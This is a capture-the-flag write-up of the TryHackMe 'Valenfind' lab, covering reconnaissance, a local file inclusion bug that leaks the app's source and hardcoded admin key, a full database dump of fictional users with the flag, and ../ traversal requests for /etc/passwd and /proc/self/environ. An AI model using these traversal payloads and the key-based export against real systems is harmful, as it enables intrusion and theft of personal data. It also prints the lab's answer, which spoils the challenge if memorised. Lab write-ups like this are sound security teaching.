Valenfind - Insecure Data Exposure via Broken Access Control (TryHackMe)

Valenfind is a dating site Challenge that was part of the Love at First Breach 2026, red team beginner’s CTF. It covers Insecure Data Exposure via broken access control, where the entire database is accessed.
CVE Category: CWE-284 (Improper Access Control) + CWE-798 (Hardcoded Credentials)
OWASP Top 10: A01:2021 - Broken Access Control
My Dearest Hacker,
There’s this new dating app called “Valenfind” that just popped up out of nowhere. I hear the creator only learned to code this year; surely this must be vibe-coded. Can you exploit it?
You can access it here:
http://MACHINE_IP:5000
nmap -p- -sV <IP_Address>
Starting Nmap 7.80 ( https://nmap.org ) at 2026-02-14 10:59 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.48.153.19
Host is up (0.00014s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)
5000/tcp open upnp?
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port5000-TCP:V=7.80%I=7%D=2/14%Time=699055AC%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,A87,"HTTP/1\.1\x20200\x20OK\r\nServer:\x20Werkzeug/3\.0\.1\x20
SF:Python/3\.12\.3\r\nDate:\x20Sat,\x2014\x20Feb\x202026\x2010:59:56\x20GM
SF:T\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:02506\r\nVary:\x20Cookie\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20ht
SF:ml>\n<html\x20lang=\"en\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"
SF:UTF-8\">\n\x20\x20\x20\x20<meta\x20name=\"viewport\"\x20content=\"width
SF:=device-width,\x20initial-scale=1\.0\">\n\x20\x20\x20\x20<title>ValenFi
SF:nd\x20-\x20Secure\x20Dating</title>\n\x20\x20\x20\x20<style>\n\x20\x20\
SF:x20\x20\x20\x20\x20\x20:root\x20{\x20--primary:\x20#ff4757;\x20--second
SF:ary:\x20#ff6b81;\x20--bg:\x20#ffe2e6;\x20--card:\x20#fff;\x20--text:\x2
SF:0#2f3542;\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20body\x20{\x20font-famil
SF:y:\x20'Segoe\x20UI',\x20Tahoma,\x20Geneva,\x20Verdana,\x20sans-serif;\x
SF:20background:\x20var\(--bg\);\x20color:\x20var\(--text\);\x20margin:\x2
SF:00;\x20padding:\x200;\x20min-height:\x20100vh;\x20display:\x20flex;\x20
SF:flex-direction:\x20column;\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\.nav\
SF:x20{\x20background:\x20var\(--primary\);\x20padding:\x201rem\x202rem;\x
SF:20display:\x20flex;\x20justify-content:\x20space-between;\x20align-item
SF:s:\x20center;\x20box-shadow:\x200\x202px\x2010px\x20rgba\(0,0,0,0\.1\);
SF:\x20}\n\x20\x20\x20\x20\x20\x20\x20\x20\.nav\x20a\x20{\x20color:\x20whi
SF:te;")%r(RTSPRequest,16C,"<!DOCTYPE\x20HTML>\n<html\x20lang=\"en\">\n\x2
SF:0\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x20\x20\x20<meta\x20charset=\
SF:"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<title>Error\x20response</ti
SF:tle>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\x20<body>\n\x20\x20\x20\x20
SF:\x20\x20\x20\x20<h1>Error\x20response</h1>\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20<p>Error\x20code:\x20400</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>M
SF:essage:\x20Bad\x20request\x20version\x20\('RTSP/1\.0'\)\.</p>\n\x20\x20
SF:\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20explanation:\x20400\x20-\x2
SF:0Bad\x20request\x20syntax\x20or\x20unsupported\x20method\.</p>\n\x20\x2
SF:0\x20\x20</body>\n</html>\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.14 seconds
gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
Discovered Endpoints:
/login(200) - Login page/register(200) - Registration page/dashboard(302) - Redirects to /login (authentication required)/logout(302) - Logout functionality
gobuster dir -u http://<IP_Address>:5000 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://<IP_Address>:5000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/dashboard (Status: 302) [Size: 199] [--> /login]
/login (Status: 200) [Size: 2682]
/logout (Status: 302) [Size: 189] [--> /]
/register (Status: 200) [Size: 2694]
Progress: 18456 / 18460 (99.98%)
===============================================================
Finished
===============================================================
Web Application Analysis
Navigating to http://MACHINE_IP:5000 reveals a dating application called "Valenfind" with a pink/red Valentine's theme.
Key Observations:
Standard login/registration functionality
User profiles with bios and avatars
"Like" functionality for other users
Multiple user profiles visible (literary characters: Cupid, Dracula, Gatsby, etc.)
Vulnerability Discovery
Initial Exploration with Burp Suite
Pro Tip: Always use Burp Suite's built-in browser for web app testing to capture all HTTP traffic, including AJAX requests and dynamic content loading.
After registering an account and exploring the application, we intercepted traffic to the profile pages. One profile that stood out was the user "cupid" with the bio:
"I keep the database secure. No peeking."
This is a major red flag - why would a regular dating profile mention database security? This is likely a hint from the CTF creator.
Client-Side Code Analysis
Inspecting the JavaScript on the profile page revealed interesting functionality:
// Initial load
document.addEventListener("DOMContentLoaded", function() {
loadTheme('theme_classic.html');
});
function loadTheme(layoutName) {
// Feature: Dynamic Layout Fetching
// Vulnerability: 'layout' parameter allows LFI
fetch(`/api/fetch_layout?layout=${layoutName}`)
.then(r => r.text())
.then(html => {
const bioText = "I keep the database secure. No peeking.";
const username = "cupid";
// Client-side rendering of the fetched template
let rendered = html.replace('__USERNAME__', username)
.replace('__BIO__', bioText);
document.getElementById('bio-container').innerHTML = rendered;
})
.catch(e => {
console.error(e);
document.getElementById('bio-container').innerText = "Error loading theme.";
});
}
Critical Finding: The developer left a comment explicitly stating:
javascript
// Vulnerability: 'layout' parameter allows LFI
This is a Local File Inclusion (LFI) vulnerability! The /api/fetch_layout endpoint accepts a layout parameter without proper validation.
GET /api/fetch_layout?layout=theme_classic.html HTTP/1.1
Host: <IP_Address>:5000
Accept-Language: en-GB,en;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: */*
Referer: http://<IP_Address>:5000/profile/cupid
Accept-Encoding: gzip, deflate, br
Cookie: session=eyJsaWtlZCI6WzEsOF0sInVzZXJfaWQiOjksInVzZXJuYW1lIjoiYWRtaW4ifQ.aZBZ8w.ZAHOhem-niC60nnIzDu59Ku4ZKo
Connection: keep-alive
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Sat, 14 Feb 2026 11:28:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 10212
Connection: close
import os
import sqlite3
import hashlib
from flask import Flask, render_template, request, redirect, url_for, session, send_file, g, flash, jsonify
from seeder import INITIAL_USERS
app = Flask(__name__)
app.secret_key = os.urandom(24)
ADMIN_API_KEY = "CUPID_MASTER_KEY_2024_XOXO"
DATABASE = 'cupid.db'
def get_db():
db = getattr(g, '_database', None)
if db is None:
db = g._database = sqlite3.connect(DATABASE)
db.row_factory = sqlite3.Row
return db
@app.teardown_appcontext
def close_connection(exception):
db = getattr(g, '_database', None)
if db is not None:
db.close()
def init_db():
if not os.path.exists(DATABASE):
with app.app_context():
db = get_db()
cursor = db.cursor()
cursor.execute('''
CREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
real_name TEXT,
email TEXT,
phone_number TEXT,
address TEXT,
bio TEXT,
likes INTEGER DEFAULT 0,
avatar_image TEXT
)
''')
cursor.executemany('INSERT INTO users (username, password, real_name, email, phone_number, address, bio, likes, avatar_image) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)', INITIAL_USERS)
db.commit()
print("Database initialized successfully.")
@app.template_filter('avatar_color')
def avatar_color(username):
hash_object = hashlib.md5(username.encode())
return '#' + hash_object.hexdigest()[:6]
# --- ROUTES ---
@app.route('/')
def index():
return render_template('index.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
try:
cursor = db.cursor()
cursor.execute('INSERT INTO users (username, password, bio, real_name, email, avatar_image) VALUES (?, ?, ?, ?, ?, ?)',
(username, password, "New to ValenFind!", "", "", "default.jpg"))
db.commit()
user_id = cursor.lastrowid
session['user_id'] = user_id
session['username'] = username
session['liked'] = []
flash("Account created! Please complete your profile.")
return redirect(url_for('complete_profile'))
except sqlite3.IntegrityError:
return render_template('register.html', error="Username already taken.")
return render_template('register.html')
@app.route('/complete_profile', methods=['GET', 'POST'])
def complete_profile():
if 'user_id' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
real_name = request.form['real_name']
email = request.form['email']
phone = request.form['phone']
address = request.form['address']
bio = request.form['bio']
db = get_db()
db.execute('''
UPDATE users
SET real_name = ?, email = ?, phone_number = ?, address = ?, bio = ?
WHERE id = ?
''', (real_name, email, phone, address, bio, session['user_id']))
db.commit()
flash("Profile setup complete! Time to find your match.")
return redirect(url_for('dashboard'))
return render_template('complete_profile.html')
@app.route('/my_profile', methods=['GET', 'POST'])
def my_profile():
if 'user_id' not in session:
return redirect(url_for('login'))
db = get_db()
if request.method == 'POST':
real_name = request.form['real_name']
email = request.form['email']
phone = request.form['phone']
address = request.form['address']
bio = request.form['bio']
db.execute('''
UPDATE users
SET real_name = ?, email = ?, phone_number = ?, address = ?, bio = ?
WHERE id = ?
''', (real_name, email, phone, address, bio, session['user_id']))
db.commit()
flash("Profile updated successfully! ?")
return redirect(url_for('my_profile'))
user = db.execute('SELECT * FROM users WHERE id = ?', (session['user_id'],)).fetchone()
return render_template('edit_profile.html', user=user)
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
db = get_db()
user = db.execute('SELECT * FROM users WHERE username = ?', (username,)).fetchone()
if user and user['password'] == password:
session['user_id'] = user['id']
session['username'] = user['username']
session['liked'] = []
return redirect(url_for('dashboard'))
else:
return render_template('login.html', error="Invalid credentials.")
return render_template('login.html')
@app.route('/dashboard')
def dashboard():
if 'user_id' not in session:
return redirect(url_for('login'))
db = get_db()
profiles = db.execute('SELECT id, username, likes, bio, avatar_image FROM users WHERE id != ?', (session['user_id'],)).fetchall()
return render_template('dashboard.html', profiles=profiles, user=session['username'])
@app.route('/profile/<username>')
def profile(username):
if 'user_id' not in session:
return redirect(url_for('login'))
db = get_db()
profile_user = db.execute('SELECT id, username, bio, likes, avatar_image FROM users WHERE username = ?', (username,)).fetchone()
if not profile_user:
return "User not found", 404
return render_template('profile.html', profile=profile_user)
@app.route('/api/fetch_layout')
def fetch_layout():
layout_file = request.args.get('layout', 'theme_classic.html')
if 'cupid.db' in layout_file or layout_file.endswith('.db'):
return "Security Alert: Database file access is strictly prohibited."
if 'seeder.py' in layout_file:
return "Security Alert: Configuration file access is strictly prohibited."
try:
base_dir = os.path.join(os.getcwd(), 'templates', 'components')
file_path = os.path.join(base_dir, layout_file)
with open(file_path, 'r') as f:
return f.read()
except Exception as e:
return f"Error loading theme layout: {str(e)}"
@app.route('/like/<int:user_id>', methods=['POST'])
def like_user(user_id):
if 'user_id' not in session:
return redirect(url_for('login'))
if 'liked' not in session:
session['liked'] = []
if user_id in session['liked']:
flash("You already liked this person! Don't be desperate. ?")
return redirect(request.referrer)
db = get_db()
db.execute('UPDATE users SET likes = likes + 1 WHERE id = ?', (user_id,))
db.commit()
session['liked'].append(user_id)
session.modified = True
flash("You sent a like! ??")
return redirect(request.referrer)
@app.route('/logout')
def logout():
session.pop('user_id', None)
session.pop('liked', None)
return redirect(url_for('index'))
@app.route('/api/admin/export_db')
def export_db():
auth_header = request.headers.get('X-Valentine-Token')
if auth_header == ADMIN_API_KEY:
try:
return send_file(DATABASE, as_attachment=True, download_name='valenfind_leak.db')
except Exception as e:
return str(e)
else:
return jsonify({"error": "Forbidden", "message": "Missing or Invalid Admin Token"}), 403
if __name__ == '__main__':
if not os.path.exists('templates/components'):
os.makedirs('templates/components')
with open('templates/components/theme_classic.html', 'w') as f:
f.write('''
<div class="bio-box" style="
background: #ffffff;
border: 1px solid #e1e1e1;
padding: 20px;
border-radius: 12px;
box-shadow: 0 4px 6px rgba(0,0,0,0.05);
text-align: left;">
<h3 style="color: #2c3e50; border-bottom: 2px solid #ff4757; padding-bottom: 10px; display: inline-block;">__USERNAME__</h3>
<p style="color: #7f8c8d; font-style: italic; line-height: 1.6;">"__BIO__"</p>
</div>
''')
with open('templates/components/theme_modern.html', 'w') as f:
f.write('''
<div class="bio-box modern" style="
background: #2f3542;
color: #dfe4ea;
padding: 25px;
border-radius: 15px;
border-left: 5px solid #2ed573;
font-family: 'Courier New', monospace;">
<h3 style="color: #2ed573; text-transform: uppercase; letter-spacing: 2px; margin-top: 0;">__USERNAME__</h3>
<p style="line-height: 1.5;">> __BIO__<span style="animation: blink 1s infinite;">_</span></p>
<style>@keyframes blink { 50% { opacity: 0; } }</style>
</div>
''')
with open('templates/components/theme_romance.html', 'w') as f:
f.write('''
<div class="bio-box romance" style="
background: linear-gradient(135deg, #ff9a9e 0%, #fecfef 99%, #fecfef 100%);
color: #c0392b;
padding: 30px;
border-radius: 50px 0 50px 0;
border: 2px dashed #ff6b81;
text-align: center;">
<div style="font-size: 2rem; margin-bottom: 10px;">? ? ?</div>
<h3 style="font-family: 'Brush Script MT', cursive; font-size: 2.5rem; margin: 10px 0;">__USERNAME__</h3>
<p style="font-weight: bold; font-size: 1.1rem;">? __BIO__ ?</p>
<div style="font-size: 1.5rem; margin-top: 15px;">?</div>
</div>
''')
init_db()
app.run(debug=False, host='0.0.0.0', port=5000)
We downloaded the entire database that had credentials and the flag. It's interesting how the backend developer "cupid" had mentioned of keeping the site secure and now we end up with this.
HTTP/1.1 200 OK
Server: Werkzeug/3.0.1 Python/3.12.3
Date: Sat, 14 Feb 2026 11:32:41 GMT
Content-Disposition: attachment; filename=valenfind_leak.db
Content-Type: application/octet-stream
Content-Length: 16384
Last-Modified: Sat, 14 Feb 2026 11:18:07 GMT
Cache-Control: no-cache
ETag: "1771067887.605021-16384-1700923521"
Date: Sat, 14 Feb 2026 11:32:41 GMT
Connection: close
SQLite format 3@ .v
ø
¤
öÍ
¤P++Ytablesqlite_sequencesqlite_sequenceCREATE TABLE sqlite_sequence(name,seq)TtableusersusersCREATE TABLE users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT NOT NULL UNIQUE,
password TEXT NOT NULL,
real_name TEXT,
email TEXT,
phone_number TEXT,
address TEXT,
bio TEXT,
likes INTEGER DEFAULT 0,
avatar_image TEXT
))=indexsqlite_autoindex_users_1users
þ\´
ý
7zÅ
ý
J þJ /!#adminadminRose Maryadmin@veron.cupid+1 555 0001234medefault.jpg0)55'c[cupidadmin_root_x99System Administratorcupid@internal.cupid555-0000-ROOTFLAG: THM{v1be_c0ding_1s_n0t_my_cup_0f_t3a}I keep the database secure. No peeking.ècupid.jpgE')%/'Q#count_draculasunlight_sucksVlad Draculavlad@night.walker555-0666-BITEBran Castle, Transylvania, RomaniaI love long walks at night and biting... necks? No, biting into life!dracula.jpg2+5'Ijane_eyrerochester_blindJane Eyrejane@thornfield.book555-1847-READThornfield Hall, Yorkshire, UKQuiet, independent, and looking for a connection of the soul.!jane.jpg:%#!/'O!gatsby_greatgreen_lightJay Gatsbyjay@westegg.party555-1922-RICHGatsby Mansion, West Egg, NY, USAThrowing parties every weekend hoping you'll walk through the door.igatsby.jpgC!)+9'G%sherlock_hwatson_is_coolSherlock Holmesdetective@baker.street555-221B-KEYS221B Baker Street, London, UKObservant, logical, and looking for a mystery to solve (or a date).sherlock.jpg4+%=-'Kocleopatra_queencaesar_saladCleopatra VII Philopatorqueen@nile.river555-0001-NILERoyal Palace, Alexandria, EgyptI rule an empire, but I can't rule my heart. ðXcleo.jpg%/-5'OO%casanova_officialsecret123Giacomo Casanovaloverboy@venice.kiss555-0155-LOVE101 Grand Canal St, Venice, ItalyJust here for the free chocolate.casanova.jpg!))1)OYromeo_montaguejuliet123Romeo Montagueromeo@verona.cupid555-0100-ROMEO123 Balcony Way, Verona, VR 99999Looking for my Juliet. Where art thou?romeo.jpg
ppØÄz¤îµ admin cupid'count_dracula
jane_eyre%gatsby_great!sherlock_h+cleopatra_queen/casanova_official) romeo_montague
õõ users
Vulnerabilities Exploited
OWASP Top 10 Mappings:
A01:2021 - Broken Access Control
Admin endpoint accessible with simple header authentication
No rate limiting or additional verification
A03:2021 - Injection
Local File Inclusion via
layoutparameterPath traversal with
../../
A04:2021 - Insecure Design
Plaintext password storage
Hardcoded secrets in source code
Weak blacklist-based input validation
A05:2021 - Security Misconfiguration
Debug comments left in production code
Detailed error messages revealing internal paths
Flask development patterns in production
A07:2021 - Identification and Authentication Failures
No password hashing
Weak session management
Predictable secret key generation
Key Lessons Learned
For Attackers/Pentesters:
Always use Burp Suite for web app testing - it captures requests you might miss
Read client-side JavaScript - developers often leave hints or vulnerabilities
Error messages are goldmines - they reveal internal paths and structure
Follow the breadcrumbs - "I keep the database secure" was a deliberate hint
Source code = game over - LFI to source code often reveals everything
For Developers:
Never hardcode secrets - use environment variables or secret management systems
Use password hashing - bcrypt, argon2, or PBKDF2
Validate AND sanitize input - whitelist approach, not blacklist
Remove debug comments - especially ones that say "Vulnerability:" 😅
Implement proper access controls - authentication + authorization
Disable detailed error messages - use generic messages in production
Never trust user input - even file paths and layout names
Tools Used
Nmap - Port scanning and service detection
Gobuster - Directory/endpoint enumeration
Burp Suite - HTTP traffic interception and analysis
curl - Command-line HTTP requests
SQLite3 - Database analysis
Browser DevTools - JavaScript inspection
Additional Exploitation Paths (Not Required)
Alternative Method 1: Reading System Files
http
GET /api/fetch_layout?layout=../../../../etc/passwd HTTP/1.1
Alternative Method 2: Reading Process Environment
http
GET /api/fetch_layout?layout=../../../../proc/self/environ HTTP/1.1
Alternative Method 3: Session Forgery (Advanced)
Since we have the source code, we could potentially:
Extract the Flask secret key (if it was static)
Use
flask-unsignto forge admin sessionsAccess protected endpoints without credentials
However, this wasn't necessary since the admin endpoint only required the API key.
Conclusion
This CTF perfectly demonstrates a realistic "beginner developer" security nightmare:
Hardcoded secrets
Plaintext passwords
Insufficient input validation
Information disclosure through errors
Security through obscurity mentality
The "vibe-coded" narrative adds humor while teaching serious security principles. The flag placement in Cupid's address field - combined with the ironic bio - shows creative CTF design that rewards thorough database analysis.
Final Thought: "Vibe coding is not my cup of tea" - and neither should it be yours! 🎯




